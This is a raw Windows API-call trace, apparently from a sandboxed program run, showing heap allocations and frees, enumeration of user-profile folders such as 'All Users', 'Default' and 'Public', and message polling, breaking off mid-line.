[0124.159] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504d0 | out: hHeap=0x810000) returned 1 [0124.159] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.159] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0124.159] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439768 [0124.159] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x34397f8 [0124.159] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439840 [0124.159] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397f8 | out: hHeap=0x810000) returned 1 [0124.159] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439768 | out: hHeap=0x810000) returned 1 [0124.159] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x8100c4, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0124.159] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3471000 [0124.159] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.159] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470ee8 [0124.159] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.159] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471000 | out: hHeap=0x810000) returned 1 [0124.159] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x8100c4, cFileName="Default", cAlternateFileName="")) returned 1 [0124.159] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3471000 [0124.159] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.159] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3471038 [0124.159] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.159] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471000 | out: hHeap=0x810000) returned 1 [0124.159] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0124.159] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3471000 [0124.159] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.159] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3471070 [0124.159] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.159] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471000 | out: hHeap=0x810000) returned 1 [0124.160] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.160] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Public", cAlternateFileName="")) returned 1 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34504d0 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3471000 [0124.160] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504d0 | out: hHeap=0x810000) returned 1 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3470f20 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x498) returned 0x3ae3750 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34504d0 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450700 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450070 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450250 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34506d8 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34506b0 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450688 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450660 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450638 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450610 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34505e8 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450278 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34502c8 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450458 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450480 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34504a8 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34d9ba0 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34d9bc8 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34d9bf0 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34d9c18 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34d9c40 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34d9c68 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34d9c90 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34d9cb8 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x40) returned 0x3439768 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x34710a8 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x34710e0 [0124.160] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3471118 [0124.160] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450570 | out: hHeap=0x810000) returned 1 [0124.160] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450548 | out: hHeap=0x810000) returned 1 [0124.160] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450520 | out: hHeap=0x810000) returned 1 [0124.160] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504f8 | out: hHeap=0x810000) returned 1 [0124.160] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34502a0 | out: hHeap=0x810000) returned 1 [0124.160] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34502f0 | out: hHeap=0x810000) returned 1 [0124.160] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450408 | out: hHeap=0x810000) returned 1 [0124.160] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450728 | out: hHeap=0x810000) returned 1 [0124.160] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450750 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450778 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9a38 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9a60 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9a88 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9ab0 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9ad8 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9b00 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9b28 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9b50 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9b78 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450598 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34505c0 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450430 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450200 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501d8 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439840 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470ee8 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471038 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3438 | out: hHeap=0x810000) returned 1 [0124.161] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x30) returned 0x3471070 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f20 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471000 | out: hHeap=0x810000) returned 1 [0124.161] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Public", cAlternateFileName="")) returned 0 [0124.161] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450160 | out: hHeap=0x810000) returned 1 [0124.161] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450160 [0124.161] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.161] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.161] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501d8 | out: hHeap=0x810000) returned 1 [0124.161] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.161] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.161] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501d8 | out: hHeap=0x810000) returned 1 [0124.161] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.161] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501d8 | out: hHeap=0x810000) returned 1 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501d8 | out: hHeap=0x810000) returned 1 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501d8 | out: hHeap=0x810000) returned 1 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501d8 | out: hHeap=0x810000) returned 1 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae2210 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501d8 | out: hHeap=0x810000) returned 1 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501d8 | out: hHeap=0x810000) returned 1 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501d8 | out: hHeap=0x810000) returned 1 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae2210 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501d8 | out: hHeap=0x810000) returned 1 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae2210 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae2210 | out: hHeap=0x810000) returned 1 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501d8 | out: hHeap=0x810000) returned 1 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34501d8 [0124.162] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501d8 | out: hHeap=0x810000) returned 1 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450160 | out: hHeap=0x810000) returned 1 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470fc8 | out: hHeap=0x810000) returned 1 [0124.162] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34501b0 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34500e8 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34397b0 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450318 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450340 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f58 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3470f90 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450368 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3439720 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.163] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.163] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.163] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.163] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.163] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.163] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.163] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.163] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.163] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.163] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.163] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.163] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.163] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.163] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.163] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.163] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.163] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.163] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.164] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.164] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.164] HeapFree 